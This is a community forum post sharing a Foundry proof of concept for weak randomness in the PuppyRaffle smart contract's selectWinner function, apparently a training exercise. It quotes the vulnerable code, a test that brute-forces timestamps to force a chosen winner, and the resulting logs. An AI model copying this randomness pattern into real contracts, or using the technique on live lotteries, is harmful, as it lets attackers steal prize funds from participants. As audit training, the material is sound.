Puppy Raffle - Weak Randomness PoC

[operation-c]

After hours of intense effort, I've successfully created a custom PoC for PuppyRaffle::selectWinner. I'm excited to share it with the community and would love to receive feedback!

The expected winner is address 26.

Logs:
  Starting balance of address 26 balance: 0
  Malicious Timestamp: 86413
  Expected winner index: 26
  Address of expected winner: 0x000000000000000000000000000000000000001a
  Number of attempts to find the expected winner: 12
  Actual Winner: 0x000000000000000000000000000000000000001a
  Final balance of address 26: 80000000000000000000

Vulnerable Code: The winner can be manipulated due the usage of block.timestamp and block.difficulty.

    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4 players");

        // @vuln: usess insecure randomness 
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;

        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
        totalFees = totalFees + uint64(fee);

        uint256 tokenId = totalSupply();

        // We use a different RNG calculate from the winnerIndex to determine rarity
        uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
        if (rarity <= COMMON_RARITY) {
            tokenIdToRarity[tokenId] = COMMON_RARITY;
        } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
            tokenIdToRarity[tokenId] = RARE_RARITY;
        } else {
            tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
        }

        delete players;
        raffleStartTime = block.timestamp;
        previousWinner = winner;
        (bool success,) = winner.call{value: prizePool}("");
        require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
    }

PoC:

    function test100Randomness() public {
        address expectedWinner;
        uint256 numberOfAttempts = 0;
        

        // creating players
        uint256 numberOfPlayers = 100; 
        address[] memory players = new address[](numberOfPlayers);
        // create 100 unique address
        for (uint256 i; i < players.length; i++) {
            players[i] = address(payable(i));
        }

        uint256 playerLength = players.length;

      console.log("Starting balance of address 26: %s", address(payable(26)).balance);
        
        // entering the raffle
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);

        // calc the end time
        uint256 raffleEndTime = puppyRaffle.raffleStartTime() + puppyRaffle.raffleDuration();

        for (uint256 i = 0; i < 1000; i++) {
            // used to discover the number of attempts to discover the winner
            numberOfAttempts++;

            // with each iteration, the testTimestamp is incremented by 1 + i
            uint256 testTimestamp = raffleEndTime + 1 + i;
            // updating the current timestamp with each iteration
            vm.warp(testTimestamp); 

            // discovered timestamp is applied to the equation 
            uint256 expectedWinnerIndex = uint256(keccak256(abi.encodePacked(address(this), testTimestamp, block.difficulty))) % playerLength;

            // get the address of the expected winner 
            expectedWinner = players[expectedWinnerIndex];

            // making sure the expected winner matches the desired address to win!!!
            if (expectedWinner == players[26]) {
                console.log("Malicious Timestamp: %s", testTimestamp);
                console.log("Expected winner index: %s", expectedWinnerIndex);
                console.log("Address of expected winner: %s", expectedWinner);
                console.log("Number of attempts to find the expected winner: %s", numberOfAttempts);

                vm.prank(address(this));
                puppyRaffle.selectWinner();

                address actualWinner = puppyRaffle.previousWinner();
                console.log("Actual Winner: %s", actualWinner);

                assertEq(actualWinner, expectedWinner, "Address 26 did not win");
                break; 
            }
        }
        console.log("Final balance of address 26: %s", address(expectedWinner).balance);
    }

[EngrPips]

Awesome, this is a well written POC, I must say that you have done a good job.